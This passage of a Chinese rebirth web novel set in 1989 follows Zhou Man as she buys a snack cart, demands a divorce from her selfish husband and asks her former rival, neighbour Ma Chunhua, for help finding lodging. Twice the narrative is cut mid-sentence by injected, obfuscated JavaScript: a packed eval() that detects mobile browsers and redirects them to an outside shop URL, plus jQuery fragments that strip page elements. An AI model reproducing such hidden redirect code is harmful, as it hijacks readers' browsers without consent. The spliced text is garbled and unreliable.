护士站人声鼎沸,围满一圈看热闹的人,里面呜呜咽咽的声音哭得人心里难受。 这年头没电视没手机,八卦就成了最大的乐子。 周满不免俗的上前凑热闹。 巧了,刚上前就瞧见卖云吞的赵大娘,正抱着一个瘦巴巴的小女孩号啕大哭: “大家行行好,谁能好心借我五十块钱,我孙女还等着救命呢。我不白借,拿门口的摊车抵。” 有人特意跑出去瞧过,那辆摊车是几手货,台面的木头沟壑纵横。四个小轮胎缝缝又补补,干瘪瘪的,还得花钱修护。 赵大娘是个勤劳的人,每天都擦拭得干净卫生。 但是! 现如今,两个轮子的自行车不要工业票,售价一百二十块,而摊车新的全部装下来大约七八十块。 赵大娘张口就要五十块,有那个钱不如去买辆新的。 眼看现场没人接话,赵大娘急了,继续加码:“除了摊车,车上锅碗瓢盆全部都送,到时候老婆子帮忙去办手续。实在是我孙女今天等着用药,否则我也不会豁出去老脸,跪求大家的。” 说话间,她改坐为跪,砰砰在地上直磕头。 吓得旁边的小孙女眼泪簌簌直落,“奶,您别跪,我不要吃药,咱们不治了,现在就回家。” 祖孙俩抱在一起哭。 不少人感动得直落泪,可那是五十块钱啊,买摊子得要手艺吧? 这年头大家厨艺不相上下,图一个饭菜煮熟,能填饱肚子就成。 做小吃摊生意万一赔钱了呢? 周满却有些心动,她一没学历二是年纪大了,倘若要出去工作赚钱,很多地方根本不会聘用她。 除非……上门给人当保姆。 她干了一辈子家务,干得够够的。不到万不得已,坚决不走那一步。 好在她有门好厨艺,不如去摆摊! 反正她没有什么好失去的,不如拼一拼,过得还能比上辈子更凄惨吗? 况且离婚,首要的是得能养活她自己! “赵大娘,你买药拢共要多少钱,说实话五十块有点太贵了。”周满上前一步,蹲下来温声询问。 赵大娘固然可怜,但她的钱并非大风刮来的。 同情心,需要有匹配的实力! 赵大娘用衣袖抹了把眼泪,“三十八块,不过我得留点钱日用,少你五块钱,四十五块行不行?” “四十块!” 周满摊开手,“我兜里就这么多。” 赵大娘扫了一眼人群,众人吃瓜吃的津津有味,根本没有跟周满攀价的意思。 “成,”她咬咬牙,“四十就四十,但是得给我写个买卖收据。” 正中周满下怀,防人之心不可无,她痛快应下来,跟护士借了纸笔开始写。 周满是识字的,读完小学后,家里没钱支持她一个女娃继续读书。 她便跟着村长家的闺女学,每天都坚持在地上练字。 有时候还蹭点纸笔,代价是帮对方干农活。 因此,一手字尚且清秀圆润。 写完后,周满把合同递给赵大娘,还贴心地念出上面的内容:“双方于农历1989年12月24日,在县医院自愿交易小吃摊车及车上现一应厨具,金额四十块钱。等乙方有需求,甲方需要帮忙办理摊位手续。我已经签了字,您在甲方这栏也签一签。” 赵大娘谨慎地递给护士看,确认无误,由于不会写名字,便在上年按了个手印。 双方一人一份。 周满叠好放进兜里,打个商量:“赵大娘,您看我最近身体不好,摊车能不能暂时寄存在您那?您给我个地址,这期间要是您需要,可以继续使用它。” 赵大娘不料还有这等意外之喜,连忙点头答应,“东大街杏花胡同15号,就在县小学那边。” 这地址跟方才听路人八卦时说的一样。 交易完成,周满交完医药费,身上彻底一分钱不剩。 她举着药瓶回到输液室,元建军已经在那等候多时。 “你跑去哪儿了?”输液室人多,元建军不好发脾气,脸色阴阴沉沉的。 周满将手中的收费单丢进他怀中,找了个没人的空位坐下。 男人亦步亦趋,在背后连连倒吸凉气。当年她生双胞胎住院,才用了不到十块钱。 怎么额头蹭破皮,就花了十六块?真是败家娘们,幸好家里没让她掌管经济。 “刚才给你的钱呢?” 周满提高音量,笑意融融的说道:“不是你留给我买补品的吗?明天我就上百货市场,买点阿胶红枣吃,将血气补回来。” “你男人真贴心。” “舍得为你花钱买补品,你可真有福气。” “要是我家那口子,能学到零星半点,我就知足了。” 偏偏周满还捧着心口附和道:“对啊,我男人在钢铁厂干会计,最近时常加班。这不,今天特意请假,急急赶过来医院陪我。” 话落,夸赞声更加猛烈起来,直夸得元建军笑容快要抽搐。 他怎么觉得妻子说话……阴阳怪气的? 大概是幻觉吧! 元建军也不好再开口提钱的事,打算最近都不再给周满家用,应该购买一段时间的菜了。 两瓶吊滴打完,接近晚上八点。 雪不知何时停了,街道空空的,没几个行人在走。 离开医院,元建军暴露自私本性,大手一甩走在前边,根本没有搀扶周满的意思,眨眼就消失在夜色里。 好在县医院离筒子楼不远,周满拢紧大衣,脑袋是前所未有的清醒。 等好不容易回到家,兜头盖脸地迎来一顿质问:“你一整天在家舒舒服服的呆着,竟然没做饭?厨房也不收拾,懒死你得了。” 剩下三双眼睛齐刷刷扫过来。 “妈,我快饿死了,你赶紧去做饭。菜呢?你不是去买老豆腐吗?”小女儿元珠不满地撅起嘴。 周满自顾自地在玄关换好鞋,头也不抬地问元建军,“你没告诉他们,我上医院输液了?” 空气中遽然一静。 元珠小声嘀咕:“爸,你真是的,怎么不早点说?害我误会妈。” 元建军尴尬至极:“这不是没来得及吗?再说了,我上了一天班,饿得前胸贴后背,家里一点儿吃食都没有,能不生气吗?” 他越说越理直气壮,“孩子他妈,赶紧去厨房做饭,明早还要接着上班呢。” 老大笑眯眯地提议:“不如吃葱油面吧?妈身体不好,葱油面方便,做的还快。” 四双眼睛再次期待地盯着周满。 连怄气的老二也拼命吞咽口水。 简简单单的葱油面,明明都是热油浇葱,不知道为何周满做的就是比外面好吃。 为何? 周满 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“好了,咱们当爹妈的多吃点苦,这辈子为的不就是儿女能好吗?”元建军出来打圆场道。 他总是这样充当老好人,恶人全让周满去做,到头来儿女都埋怨她。 “还是爸爸最好,我最爱爸爸了!”元珠送上一记拍马屁,不忘回头得意地瞅一眼周满。 对于这种孩子气的行为,周满懒得理会。 “妈,你有火冲我撒,不要连累小妹。” 老二元栋噌一下起身,颇有些江湖豪气:“行,我如你的愿,不辍学了。” 他望着自己这个母亲,眼不是眼鼻子不是鼻子,双目充血满是憎恨。 怨她无知,阻碍了他赚大钱当富豪的路。 周满承认老二有些小聪明,但做生意光靠小聪明是不行的。 就算真的有机遇,按照老二冲动的性子,是非黑白不分,也不够圆滑世故,极容易与人结仇。 后来老二在她的磨练下,的确磨掉毛燥的性子。结果却是憋个大的,等她死的时候迫不及待扬骨灰了。 “你故意跟邻居说我打你,现在我名声坏了,现在高兴了吧?”元栋想不明白,他怎么摊上这么一个蠢笨如猪的亲妈。 “还有这回事?” 元建军不满质问:“周满,你安的什么心,怎么能到处乱说?不管你用什么办法,明天都要想办法出去澄清此事。” 周满抬手按揉额头,对这一家子狼心狗写的冷血东西彻底死心。 她看向老二,“以后你做什么我都不会管你,包括老大和老三也是。从今往后,你们都要分担家务活,自己给自己做饭吃。” “因为我不打算伺候你们了!” “妈!” “妈……” “你以为这样就能逼我!” 三道不赞同的声音先后响起。 尤其是老二最激动,桌子拍得砰砰响,“我爸赚钱养你,你一个吃白饭的,怎么能不干家务呢?那要你还有什么用?” “元栋,你闭嘴。”老大理智提醒,“快跟妈道歉。” 弟弟不该说出此等伤人的话来,要是被外人听见,一个“目无尊长”的罪名还得压上来。 “那就离婚吧。” 刹那间,四周喧闹的声音一下子消失殆尽。 6. 笑话,离了我爸你能去哪 离婚。 在1989年依旧是新鲜词,准确点说,是件丢脸的事儿。 饶记得隔壁家属院有对夫妻闹离婚,登上报纸头条,好几年下来一家子皆被流言蜚语硬生生戳弯了脊梁骨。 足以证明周满提出离婚多么惊世骇俗。 三兄妹甚至幻想过,假如哪天父亲抛弃母亲,他们该如何为软弱的母亲求情?毕竟他们再怎么看不起母亲,也不希望见到老两口分开过。 但是! 离婚,绝对不应该从周满这个攀附元建军存活的菟丝花口中提出来。 她没有工作跟经济来源,是既卑微又可悲的存在。 只有刘建军能抛弃她的份,哪有资格去提离婚? 妈怎么敢? 妈真是疯了不成! 她真的舍得如今享福的日子不过,回到乡下那鸟不拉屎的地方吃苦受罪。 没有人相信周满是真的要离婚,反而觉得她在无理取闹。 独独对于周满来说,攒在肚子里两辈子的话终于脱口而口,只觉得通体畅快极了。 离婚的念头不是没有过,上辈子她十分恐慌,生怕儿孙埋怨,害怕失去经济来源,惶恐自己会流落街头。忍辱负重几十年,到死悲凉。 还不如选择另外一条路。 有些事情一旦开了头,往下走就无比顺利。 周满直勾勾盯着丈夫,语气愈发坚定:“我要跟你离婚。” 屋内喧嚣的气氛再次降入冰点。 “妈,你疯了?你都多大年纪了,也不怕被邻居们笑话。再说了,你跟我爸离婚,吃什么喝什么?” “就是,妈,你赶紧低头,说两句软话,跟我爸道歉。” “爸,妈肯定是这两天累着了,说胡话呢,您大人有大量别往心里去。” 都到了这份上,三兄妹以后坚定的站在元建军那边。 上辈子周满跟元建军争儿孙的敬爱,争一辈子,输惨一辈子。 委委屈屈为这个家作出多少牺牲,到头来反而只落得个埋怨。 两个儿子一不如意,就斥责她大手大脚,说“爸辛辛苦苦赚的钱都被你嚯嚯了”。 为了补贴儿子,周满利用空闲时间去捡破烂。 得知此事后,他们钱拿得十分爽快,转头继续站在道德制高点,骂她丢人现眼。 以至于到了老年,两个儿子捧着元建军的臭脚,个个不愿意给她养老。孙子们有样学样不待见她,看不起她一个吃白饭的。 最后独自死在屋子里,灵魂飘在空中,听到“孝子贤孙”们埋怨的话:“死了都要给我们添麻烦。” 罢! 罢了! 她这个妈的自问殚精竭虑,对儿子们没有一点私心,没有一丁点是为了自己,最后养出一帮孝子贤孙,全部孝顺孩子他爸去了。 上辈子图什么? ……图一个下贱吗? 思绪恍恍惚惚间,老二的手已经指着她鼻子破口大骂:“妈,得亏你嫁的是我爸,心地善良,没跟你离婚,否则你早就饿死在大街上了。” 长子女儿目光轻慢,再瞧瞧元建军一脸深以为然的表情,一股怒焰猛地从周满心头涌起,直窜脑际。 去他大爷的当牛做马! 老娘不干了!! 她站在门边,语气相当平静:“元建军,明天一早,我们就去离婚。” 此时所有人脑海中仅剩下一个想法,周满是真的失心疯了。 这下彻底炸开锅。 “离!必须离婚。” 接二连三被妻子下面子,元建军怒不可遏:“到时候就算你跪着求我,我也不会跟你复婚的。” 看元建军一副“等你回头求我”德行,既愚蠢又自负。 周满倒是要瞧瞧,究竟是谁“离了活不了”。 这一家子男人,早被老太太跟周满尽心尽力,伺候成“四体不勤五谷不分”的废物蛋子,点个火都能把厨房烧着。 她径直走向卧室,反锁房门。 见状,三兄妹反倒松了一口气。 “妈没有离家出走,肯定是赌气呢。”元珠轻拍着胸口,每每想到方才母亲戏谑凌厉的目光,总觉得一阵后怕。 元栋讽刺道:“她倒是想走?能走去哪?回小安村吗?这个点没有车票,走都走不回去。就算明天回乡下,姥家根本没有多余房间供她住,最后不得乖乖回来。” “元栋你少说两句。”眼见父亲脸色越来越难看,元斌埋怨弟弟不分场合,非要火上浇油,闹得父母亲离婚生份不成? 家里除了妈,其他人根本不会做家务。 父亲工作忙,难道要落到他这个长子头上吗? 元斌吓得一个激灵,转头批评妹妹:“你也是,干嘛偷偷摸摸吃桂花糕,分一两块给妈怎么了?平常有点好吃的,妈都舍不得,全部给你,你就是个漏风小棉袄。” 元珠不服气,但她理亏。 “爸,你今晚睡我们那屋,我和老二在凳子上将就一晚。” 长子的面子还是要给的,况且元建军被离婚的事吵得脑仁疼,正想找个地方边休息,边想点对策。 没错,他同样不认为周满敢离婚,不过是泼妇一哭二闹三上吊的把戏。他得想个办法好好整治她,否则她不知道天高地厚,骑到自己头上拉屎。 待父亲离开,屋子里只剩下三兄妹面面相觑。 “那南下的事情怎么办?”元栋十分着急,“海哥还等着信呢?要是没有人带路,咱们兄弟俩连东南西北都分不清。” 元斌语气颇为气馁:“我问了,除了火车票外,还要给他们一笔带路费,一个人一百。” “一百!他们抢钱呢!” “哥,你们上哪去弄两百块钱?” 元斌嘴角浮现一抹苦笑,“爸虽然没有反对咱们辍学,但估计不会给钱,妈那边……”他拍了拍弟弟的肩膀,“要不算了吧?” 砰! 元栋一脚踹在凳子上,吓得元珠失声尖叫。 “我不会放弃的,一定能想出办法。深市遍地黄金,大哥,这是咱们兄弟唯一能发大财的机会了,过了这个村就没那个店。” 他攥紧拳头,忽然跑出家门。 “二哥,天这么黑,你去哪儿?”元珠着急地小跑上前。 回应她的,是渐行渐远的脚步声。 “大哥,你不追上去吗?” 元珠眼里攒起两泡晶莹泪花,无论如何想不明白,家里是如何闹成这样的? 元斌摇摇头。 他大概猜的出来老二去哪,并不打算阻止他。 如果老二能成功,那将是他们兄弟俩平步青云的机会。 如果失败,他也没有什么损失,继续努力考大学呗。 “爸妈刚吵架,我得在家里陪你守着。”元斌嘴上说得那叫一个冠冕堂皇。 妹妹紧紧挨在他旁边,抽噎出声:“妈是不是邪祟上身? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078899|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么好端端的,就变了个人似的。她以前不这样的。” 元斌没有接话,静静地盯着紧闭的卧室门。 - 这一觉,周满睡到大中午,出乎意料难得的好眠。 结婚以后,她每天凌晨五点起来做早饭,什么炸油条磨豆浆煎鸡蛋……生怕孩子们营养跟不上。 还是头一回什么都不用管,舒坦! 她伸了个懒腰,才慢条斯理地穿起衣服。 北方冬天干燥,衣服都得提前放进被子里暖,否则能冻得人牙齿打颤。 最后再简单绾个低发髻,对镜子一照,里面的人看起来无比利落精神。 周满相当满意,带着好心情出了卧室,才发现家里空荡荡的,一个人都没有。 看来,包括元建军在内的人都没有把离婚当回事。 临近饭点,眼下需要先填饱肚子。 重来一世,周满不再委屈自己,什么好的都先紧着孩子丈夫。 她从橱柜里翻出半碗油渣,又从坛子里拿出颗酸菜,切出一小块肥肉,打算做酸菜馅饺子。 肥肉剁碎炒香,放入油渣里能增添油香味,而酸菜则可以解腻。 面皮必须现和,在铁盆里舀两碗,估摸着一个人两顿的份量,往里面加鸡蛋猪油一块揉。 待面团光滑后,分成一块块均匀大小的面剂子,撒上面粉,用擀面上沿着周边不断按压,直至变成中间厚两边薄的皮。 周满包饺子喜欢捏成元宝状,既美观又浑圆,无论蒸煮还是煎炸都合适。 她先单独分出十几枚,一一摆在盘子里码得整齐。 这份用来做人情。 昨晚老二有句话说得没错,娘家条件不好,人口又多,侄子们都得挤在一屋子里。爹娘与几个哥哥虽然疼她,却没有余力弄出空屋子给她一个外嫁女住。 她回不了,也不能回村住。 一旦离婚,村里流言蜚语漫天飞,周满倒不怕被人议论,就怕连累到家人抬不起头来。 因此当务之急是赶紧找到房子搬出去住,自力更生。等生活稳定后再告诉娘家人,省得他们跟着担心。 租房子就成当下火烧眉毛的大事情! 前世,马寡妇的二女儿似乎在千禧年后开了家中介公司,兴许能帮得上忙。 周满脑子里一刻不闲着,细细梳理脉络,做好今后的打算。 手上动作也不停,用漏勺把漂浮起来的饺子捞出来。再单独剁蒜末,两勺酱油一勺醋,简单调了个蒜醋汁。 前前后后忙活一个多小时。 周满咬一口,皮薄爆香,鲜嫩酸爽,吃得全身冒气热汗,连病都去了一大半儿。 “大哥,是酸菜馅饺子!” 元珠用力吸允着空气中飘香的味道,拼命吞咽口水,顿觉手中的盒饭不香了。 “姥姥包的酸菜饺子最好吃,等到初二回乡下,到时候一定要姥姥好好操持一顿。” 元斌道:“好像是从咱家飘出来的,整个筒子楼,只有妈舍得用调料。” 兄妹俩对视一眼,兴冲冲地往家赶。 然后惊喜发现真的是自家在包饺子。 “妈,你太过分了竟然吃独食!” 元珠舔舔嘴唇,立马奔进厨房,拿了两双筷子出来。 还没坐下,就迫不及待地先伸筷子夹了一个往嘴里送。 啪! 周满一筷子下去,饺子落在地上,沾了一圈灰尘。 7. 死对头 “妈,你发什么疯?”元珠气得肝疼。 那双瞪圆的猫眼圆润明亮,完全承袭自周满,可惜里面全是对她的控诉与不满。 周满眼皮不抬,“我说过,自己煮自己吃。” 元珠不敢置信,她妈可真狠心,连口吃的都不给。 继而感到无比怨怼。 “不吃就不吃,谁稀罕!” 她置气般的将筷子甩到地面上,见周满丝毫没有过来哄自己的迹象,反而继续一口一个饺子吃得喷香,双眼委屈得渐渐泛红。 她妈真的变了! 从前她不是这样的自私自利! “大哥,快把从国营饭店买回来的红烧肉拿出来,咱们不求别人,自己吃自己的。” 翻年元珠就十五岁了,骄纵的性子一点儿没变,将来总有吃不完的亏。 意识到自己闲吃萝卜淡操心,周满恨不得自抽一巴掌。 几十年养成的坏习惯,得慢慢纠正过来。 国营饭店做的红烧肉用料足肉很多,揭开盖子,霸道的香味瞬间弥漫整间屋子。 兄妹俩分好饭,大筷吃肉。 两口肉,一口饭,为了气她,神情简直夸张到没眼看。 周满熟视无睹,一点艳羡的表情都没有,甚至连眼神都没分过去,无疑叫两人感到气馁,甚至连到了嘴边的红烧肉也没那么香了。 元珠心里堵着慌,故意大声感叹:“软糯鲜香,不愧是开了几十年的饭店,足足花了好五块钱呢。” 五块钱,是普通家庭一个月的正常开销了。 兄妹三人每人每天仅有两毛钱的生活费,元珠臭美攒不住钱,老大喜欢买书,唯一能攒下钱来的就是老二。 但要想攒下五块钱,也得好几年。 就老二那抠门的性子能舍得? 所以,这笔钱是打从哪里来的? 元斌心头不由一慌,正襟危坐起来。他下意识抬眼望向母亲,做好即将被质问的准备。 只见母亲眉目不动,慢条斯理地把最后一个饺子两面蘸上醋,放进嘴里,嚼了十几下后才咽下去。再端起汤,喝得一滴不剩,似乎对这些一点也不在意。 他摸不准是真的不关心,还是母亲在咬牙硬挺? 思忖间,周满已经用完午餐,将碗盘收拾进厨房。 从始至终无比平静。 兄妹俩吃得食之无味,有种一拳头打在棉花上的憋屈感。 直到周满从橱柜里拿出那份预留的生饺子,端着往外走。 那盘饺子一瞧就是单独放起来的。 兄妹俩满脸惊喜,表情是如初一辙的“果然如此”。 “你多放点油做成煎饺,两面都煎脆脆的,那样更好吃。”元珠用一种胜利者的姿态昂起下巴,颐指气使。 瞧,就说了妈嘴硬心软。 哪里真的会对他们兄妹不管不顾,舍得他们吃苦做家务呢? 早点识时务不就好了吗? 何必多此一举闹得大家不愉快。 元斌放下筷子,虽然没怎么说话,但脸上的神情也是理所当然的。 周满眸色一冷,“这不是你们能吃的,要吃自己做。” “妈,你别说笑了,不给我们吃,难不成你端出来是要白送给邻居的?”元珠不以为意。 那可是肉馅的! 五斤肥油拢共才炼出不到一碗的油渣,家里得分成好几天吃。 今天周满好不容易大方一回全部剁馅包饺子,自己偷偷吃独食已经很自私很过分了,还能真的冷血薄情,一个不留给丈夫儿女? 周满颔首:“你说的没错,的确是要送人的。” 眼看周满走出家门,兄妹俩满眼不可置信,急急忙忙追上去。 一路跟着来到马寡妇家门口。 两人面面相觑,大院里谁不知道她们见面就掐,是十几年的死敌。 “哟!稀客。” 马寡妇双手环胸,目光从周满明显重新包扎过的额头扫过,再看看身后那对如临大敌盯着自己的兄妹俩,挪揄道: “怎么,你俩儿子不打算辍学,上我这炫耀来了?” 周满苦笑一声:“老姐姐,我带了盘自己包的饺子,能进去说说话吗?” 这声老姐姐,喊得马寡妇一个激灵,浑身鸡皮疙瘩全部冒出来,“你搁里面下毒了?” 不过还真别说,周满厨艺公认的好,饺子包得一个个白白胖胖别提多赏心悦目了。 两家离得近,元家做饭的香味直往隔壁飘,刚刚馋得她决定傍晚去国营饭店打牙祭。 周满:“……” 她轻叹一声,正儿八经说道:“有点小事找你帮忙。” 马寡妇继续狐疑地望着她,又抬头看看天。 太阳打西边出来了? 周满向来看不起她,居然还有求她的一天。 “妈,别丢人现眼了,快跟我们回家。就算为了赌气,你也没必要白白糟蹋粮食啊。”元珠气噎的难受,上前拉周满胳膊。 这可是马寡妇,名硬克夫,连上四个赔钱货,连亲妈都敢动粗的野蛮人。大院里名声差,人缘浅。 周满能有什么事求她? 纯粹是在置气! 此行此举叫元珠愈发看不起亲妈,伤敌一千自损八百,没那个脑子就乖乖回归家庭当主妇,伺候好丈夫,居然还敢叫嚣着要跟爸离婚? 谁借给她的胆子? 非得把夫妻兼儿女情份给生生作没了,蠢不蠢啊。 “好啊,你们母女俩敢拿老娘开涮,赶紧滚蛋。”马寡妇面庞骤冷,抄起墙角扫把,劈头盖脸地朝母女二人砸去。 周满眼疾手快朝旁边一躲。 那扫把便呼呼啦地只落到元珠一个人身上。 “妈……” 扫把扫过脸颊火辣辣的疼,元珠眼圈红了,声音带起哭腔:“你为什么要避开?奶说的没错,你就是自私狠毒!” 这样就算自私吗? 周满手指紧攥着,思绪飘远。就因为元珠从小体弱,她一贯是怜惜偏疼的,事事顺着。 婆婆重男轻女,生元珠的时候差点赶上计划生育,为了保住丈夫工作,要不是周满意志坚定,婆婆早就将她送往山区。 后来到了上学年纪,还是她坚持要把元珠送入最好的学校,跟两个兄长一样接受最顶尖的教育。 女人一生太苦了。 她不愿意元珠重蹈覆辙,匆匆嫁人相夫教子,一辈子都在繁重家务活中抬不起头来。 后来元珠的确争气,考上本市大学。 元珠得益于她这个妈的默默付出,偏偏最后刺向自己的那把致命尖刀,也是她。 连一天女儿福从没想过。 “妈,你这次真的太过分了!”元斌气呼呼地为妹妹鸣不平,“元珠从小娇生惯养,皮肤多娇嫩啊,你怎么不挡着点?” 周满也不惯着,“她嘴贱,挨打不冤枉。以后谁惹出来的祸事谁负责,我不会再给你们兄妹收拾烂摊子了。” 元珠再怎么样才十五岁,骤然听到母亲这么绝情,泪珠子直接滚下来,捂着脸抬脚就往外跑。 周满皱眉,脚步动也未动。印象中,小女儿一生气就跑出去离家出走,需要她亲自哄去。 惯的一身臭毛病! 元斌心思转的快一些,既想去追妹妹,又有些犹豫,一边偷偷觑着母亲黑沉的脸色,眼睛骨碌碌转不停。 “老姐姐,我是真心实意有事找你帮忙,能进去再说吗?”周满侧头扫了眼探出头来张望的邻居们,笑容有些苦涩。 马寡妇眉头紧蹙,似在考量,久久不言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078900|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语。 周满挺直腰身,眼神愈发真诚。 “进来吧。” 直到两人先后走进去,房门砰的一声关上,外边瞬间炸开锅。 “元斌,你妈是不是把脑子撞坏了?” “你妈找马寡妇有什么事?她们啥时候变得那般要好了?” “肯定是你们兄弟俩闹辍学,周满伤了心,才对你们不管不顾的。” …… 元斌手指用力摩挲衣角,尽管心里不耐烦,仍然极力维持平时那副文质彬彬的形象,一一礼貌回复道: “我妈心善,跟谁都处得来……辍学?不存在的,我还要考名牌大学呢……不是老二推的,厨房漏水,我妈脚底打滑不小心磕破头……” 应付完邻里,他一步步往回走。 没想到素来容易妥协的母亲,这一次竟然说到做到。 如果继续执意辍学,他们兄弟俩这辈子都将被邻居戳脊梁骨。 可…… 元斌抬头望天,垂在身侧的手紧握成拳。 真的很不甘心! 读书能有什么出息?看看海哥,出去闯荡一年,赚的是爸一辈子都赚不到的钱。 赚了钱,到时候换大房子住,全家不必窝在一间屋子里。 他们兄弟俩所作所为都是为了这个家更好,为什么母亲就不能理解、并支持他们呢? 妈要是跟秦阿姨一样就好了,有学问有远见,还有自己的事业,这才是新时代女性该有的样子。 爸当初怎么娶的不是秦阿姨呢? - “你随便坐,喝咖啡还是水?” 周满客气道:“白开水就行,麻烦你了。” 马寡妇闺名叫春花,从饮水机倒杯水递给她,就迫不及待地钻进厨房,开火捣鼓。 显然早就眼馋周满厨艺许久。 管周满接下来要说什么事,反正先吃到嘴再说。大不了待会儿给她钱,就当自己买的! 周满双手端着水规规矩矩坐在椅子上,打量着四周。 刘家两室一厅,布置得简单温馨。 正对门的墙壁上挂满四姐妹荣获过的奖状,底下柜子摆放一排照片,都是母女五人的。 刘家四朵金花继承母亲的大眼睛,五官十分秀气耐看。加上马春花从不吝啬打扮女儿们,四朵金花从不缺乏追求者。 只是碍于马春花威名,半大小伙子都不敢往刘家门口凑,倒是省去许多麻烦。 不过私底下那些爱嚼舌根的老婆子们,少不得编排母女几人。 似乎爱打扮,就是不正经的代言词。 连周满都下意识让小女儿元珠穿得灰扑扑的,生怕跟着刘家姐妹学坏了。 以至于物极必反,后来元珠谈恋爱,偷偷逃学涂口红,被发现后倒打一耙责备她管太严。 周满长吐一口气,重新望向马春花的目光变得钦佩。 自己两辈子才想通的道理,马春花早就觉悟了。 明明她比自己大一岁,穿着打扮显得更年轻时尚。 瞧,大家还在想办法解决温饱时,她已经抢先一步享受上喝咖啡了! 不得不承认人家是真的会生活,有本事! 很快,马春花便端着煮熟的饺子出来,眉梢满足地高高扬着。她事先尝了一个,味道是真的比国营饭店好。 “说吧,你到底有什么事?”马春花边吃边改变主意,只要周满提要求的不过分,为了以后能多蹭几顿饭,她都会尽力办到。 周满开门见山,“听说你二女儿人脉广,我想请她帮忙找找房子。等我跟元建军离婚后,要搬出去住。” “……离婚?”马春花猝不及防被呛到了,直呛得脖颈涨红,“元建军外面有人,打算抛弃你了?难怪你突然性情大变,敢情是受了刺激。” 8. 交心 不怪马春花如此认为,实在是周满以夫为天,结婚二十年来兢兢业业当老黄牛,跪舔元家人。 院里男人们谁不羡慕元建军娶个听话能吃苦的老婆? 家属院谁都可能提离婚,唯独周满不可能! 周满摇摇头,语气坚定:“不,是我要跟元建军离婚。我想通了,以后要为自己而活,不做男人的附属品。” 话落,一只温暖的手贴上额头。 “不发烧啊,怎么说起胡话来了?”马春花俩眼瞪圆,多吃几个饺子压压惊,腮帮子撑得鼓鼓囊囊的。 她一边打量周满的神情,渐渐的,得出一个惊人结论:周满竟然是认真的! “我可以帮你找房子,你想要什么样的?” 马春花放下筷子,语气十分郑重:“你独居还是带上孩子们?” 周满感激马春花没有继续追问原因,这份尊重让她心里暖洋洋的,“自己住,孩子们都大了,一个都不带。” 这次马春花是真的对她刮目相看,“没错,我们女人先是自己,才是母亲,最后是妻子。” 这思想觉悟领先至少三十年! “既然你叫我声老姐姐,我托大唤你声阿妹。” “阿妹,咱们女人独自在外生活不容易,首要便是安全问题,离公安局近,邻里关系简单。至于价格上,一居最合适,能省则省点。” 马春花字字句句都是真心实意为周满打算着,“租房不算难,尽管包在我身上。只是阿妹,你今后想要如何谋生?” 周满早就盘算好了,“我打算做小食摊。” 顿了顿,她嘴角扯出一抹苦涩的笑容来,“虽然累点,赚的是辛苦钱,但却是我目前最擅长也最有把握的了。” “这个妙!” 马春花拍手叫好,两只眼睛直冒光,从今往后就能一直正大光明吃周满做的饭了。 “但摆摊终极不是长久之计,你手艺好肯定大有作为。阿妹你听姐的,先努力做好口碑,培养一批忠实客户出来,待日后时机成熟开一家门店。等你真正变成有钱人,儿女们自然都会围过来表孝心。不过这世上,靠儿女养老不如靠自己,钱才是最靠谱最保险的东西……” 她握住周满的手,语重心长:“女人呐一定要有自我。” 周满心情复杂,难怪马春花才是上辈子的人生赢家,瞧瞧人家活得多通透! 可不是么! 前世她那几个钱,全部都被儿女们通过各种“诉苦”“借”光了。 要不是看在她还有栋老房子,丈夫去世后,估计早就老死不相往来。 “你打算什么时候搬出去?”马春花说得口干舌燥,咕咚咚接连灌了两杯温水方才解渴。 周满毫不犹豫,“尽快吧,看你什么时候能找到房子,左右家里的事我不会再管了……” - 一连几天元建军加班未回。 两兄妹赌气窝在房间里不出来,周满反倒落得个清净,准备做点简单的吃食。 屉子里最后剩下的八个饺子丢进油锅里,煎得那叫一个两面金黄、酥脆可口。 不过光吃煎饺可有点干巴,于是大气地往碗里敲个土鸡蛋,再加上两勺红糖,用热水一冲,一碗香喷喷的鸡蛋茶瞬间出炉。 一墙之隔的小卧室,元珠闻着煎饺诱人的香气,委屈得再次红了眼眶,“妈肯定是故意的,明知道我想吃煎饺,故意在厨房里做得这样的香。除非她跟我道歉,否则我一个月,不,一辈子都不搭理她。” 听着妹妹孩子气的说法,元斌颇为无奈,“妈最偏疼你,这会儿正在气头上,你不如先去服个软?” “我不去!凭什么我要先低头?” “就凭我身上的零花钱不多了,妈要是再继续罢工,以后别说下馆子,可能连馒头都吃不着。到时候你就跟大丫她们一样,自己烧火做饭。” 大丫同样是生活在家属院的女孩子,与元珠天差地别。 爹娘重男轻女,半大的小人还没灶台高的时候,就已经站在板凳上炒菜。 整个人浑身一股子油烟味,班里同学背地里偷偷笑话她。 元珠一下子蔫巴了。 从前她是何曾受在吃食方面受过这种委屈?但凡是她想吃的,周满都会想尽办法弄来。 还记得十岁那年,就因为邻居炫耀吃螃蟹,她不吃不喝大闹一场。 周满为此特意下乡,跟四个舅舅下河翻石头,才将将捡够一盘子。 小河蟹裹上鸡蛋液和面糊,在油锅里滚一圈,别提多么酥脆了。 想到这,元珠口水快要流下来。 “母女俩哪有隔夜仇,妈这次是被二弟气狠了,继而连累到我们。”元斌双手搭在妹妹肩头,苦口婆心的劝说道: “你不是一直想要百货商场那条洋装吗?你把妈哄高兴了,重新操持家务,爸一高兴说不定就松口拿钱给你去买。” 元珠颇为心动,撅着嘴不情愿地点头,“行,明早我去跟她道歉。” 